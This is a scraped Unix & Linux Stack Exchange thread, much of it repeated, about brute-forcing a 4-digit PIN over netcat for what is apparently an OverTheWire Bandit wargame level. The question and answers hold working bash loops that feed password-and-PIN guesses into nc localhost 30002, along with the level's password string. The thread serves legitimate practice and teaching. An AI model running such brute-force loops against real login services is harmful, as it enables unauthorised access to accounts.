Brute-force 4 digit pin with pass using shell script
up vote
-2
down vote
favorite
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]]; What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
add a comment |
up vote
-2
down vote
favorite
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]]; What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
You're missing adoin yourforloop.$iis in single quotes in both places so it wont be expanded. You need a space after^Wrong*and before]].continuewill cause it to skipecho '[+] Pincode Cracked! Pincode = $i'every time.
– Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
– roaima
Mar 22 at 23:36
add a comment |
up vote
-2
down vote
favorite
up vote
-2
down vote
favorite
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]]; What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]]; What am I doing wrong here?
UPDATE:
Okay, so after researching around. I wrote this:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.
bash shell-script command-line loop-device nc
bash shell-script command-line loop-device nc
edited Mar 23 at 18:02
asked Mar 22 at 19:13
Srijan Singh
44
44
You're missing adoin yourforloop.$iis in single quotes in both places so it wont be expanded. You need a space after^Wrong*and before]].continuewill cause it to skipecho '[+] Pincode Cracked! Pincode = $i'every time.
– Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
– roaima
Mar 22 at 23:36
add a comment |
You're missing adoin yourforloop.$iis in single quotes in both places so it wont be expanded. You need a space after^Wrong*and before]].continuewill cause it to skipecho '[+] Pincode Cracked! Pincode = $i'every time.
– Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
– roaima
Mar 22 at 23:36
You're missing a
do in your for loop. $i is in single quotes in both places so it wont be expanded. You need a space after ^Wrong* and before ]]. continue will cause it to skip echo '[+] Pincode Cracked! Pincode = $i' every time.– Jesse_b
Mar 22 at 21:56
You're missing a
do in your for loop. $i is in single quotes in both places so it wont be expanded. You need a space after ^Wrong* and before ]]. continue will cause it to skip echo '[+] Pincode Cracked! Pincode = $i' every time.– Jesse_b
Mar 22 at 21:56
3
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
– roaima
Mar 22 at 23:36
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
– roaima
Mar 22 at 23:36
add a comment |
3 Answers
3
active
oldest
votes
up vote
0
down vote
That's because you're not telling your script to write anything to nc's standard input. Your script starts netcat, waits for it to terminate, and then sleeps for two seconds before executing the for loop. You probably want a construct such as:
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
add a comment |
up vote
0
down vote
Here a working answere that is fast and working:
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
Your updated answer is very slow. The connections will live when a wrong answer is filled in. Like a earlier answer showed, is a pipeline at the end of the for-loop. If you really wanne know the correct pin you can add a line before the echo that echo "the correct pass: $1" > /tmp/correctpin.txt. This is not relevant for the purpose of receiving the correct passwd.
add a comment |
up vote
-1
down vote
for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
add a comment |
3 Answers
3
active
oldest
votes
3 Answers
3
active
oldest
votes
active
oldest
votes
active
oldest
votes
up vote
0
down vote
That's because you're not telling your script to write anything to nc's standard input. Your script starts netcat, waits for it to terminate, and then sleeps for two seconds before executing the for loop. You probably want a construct such as:
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
add a comment |
up vote
0
down vote
That's because you're not telling your script to write anything to nc's standard input. Your script starts netcat, waits for it to terminate, and then sleeps for two seconds before executing the for loop. You probably want a construct such as:
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
add a comment |
up vote
0
down vote
up vote
0
down vote
That's because you're not telling your script to write anything to nc's standard input. Your script starts netcat, waits for it to terminate, and then sleeps for two seconds before executing the for loop. You probably want a construct such as:
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
That's because you're not telling your script to write anything to nc's standard input. Your script starts netcat, waits for it to terminate, and then sleeps for two seconds before executing the for loop. You probably want a construct such as:
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
answered Mar 22 at 21:52
DopeGhoti
42.9k55382
42.9k55382
add a comment |
add a comment |
up vote
0
down vote
Here a working answere that is fast and working:
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
Your updated answer is very slow. The connections will live when a wrong answer is filled in. Like a earlier answer showed, is a pipeline at the end of the for-loop. If you really wanne know the correct pin you can add a line before the echo that echo "the correct pass: $1" > /tmp/correctpin.txt. This is not relevant for the purpose of receiving the correct passwd.
add a comment |
up vote
0
down vote
Here a working answere that is fast and working:
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
Your updated answer is very slow. The connections will live when a wrong answer is filled in. Like a earlier answer showed, is a pipeline at the end of the for-loop. If you really wanne know the correct pin you can add a line before the echo that echo "the correct pass: $1" > /tmp/correctpin.txt. This is not relevant for the purpose of receiving the correct passwd.
add a comment |
up vote
0
down vote
up vote
0
down vote
Here a working answere that is fast and working:
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
Your updated answer is very slow. The connections will live when a wrong answer is filled in. Like a earlier answer showed, is a pipeline at the end of the for-loop. If you really wanne know the correct pin you can add a line before the echo that echo "the correct pass: $1" > /tmp/correctpin.txt. This is not relevant for the purpose of receiving the correct passwd.
Here a working answere that is fast and working:
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
Your updated answer is very slow. The connections will live when a wrong answer is filled in. Like a earlier answer showed, is a pipeline at the end of the for-loop. If you really wanne know the correct pin you can add a line before the echo that echo "the correct pass: $1" > /tmp/correctpin.txt. This is not relevant for the purpose of receiving the correct passwd.
answered Nov 30 at 21:09
Martijn van Wezel
1011
1011
add a comment |
add a comment |
up vote
-1
down vote
for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
add a comment |
up vote
-1
down vote
for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
add a comment |
up vote
-1
down vote
up vote
-1
down vote
for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done
edited May 1 at 10:09
Romeo Ninov
5,02431627
5,02431627
answered May 1 at 8:48
Hike Nalbandyan
1012
1012
add a comment |
add a comment |
Thanks for contributing an answer to Unix & Linux Stack Exchange!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Some of your past answers have not been well-received, and you're in danger of being blocked from answering.
Please pay close attention to the following guidance:
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f432904%2fbrute-force-4-digit-pin-with-pass-using-shell-script%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
You're missing a
doin yourforloop.$iis in single quotes in both places so it wont be expanded. You need a space after^Wrong*and before]].continuewill cause it to skipecho '[+] Pincode Cracked! Pincode = $i'every time.– Jesse_b
Mar 22 at 21:56
3
Put your code into shellcheck.net When you have fixed the obvious syntax errors that will make it refuse to run come back (with corrected code) and ask the specific question(s) that you still need answering.
– roaima
Mar 22 at 23:36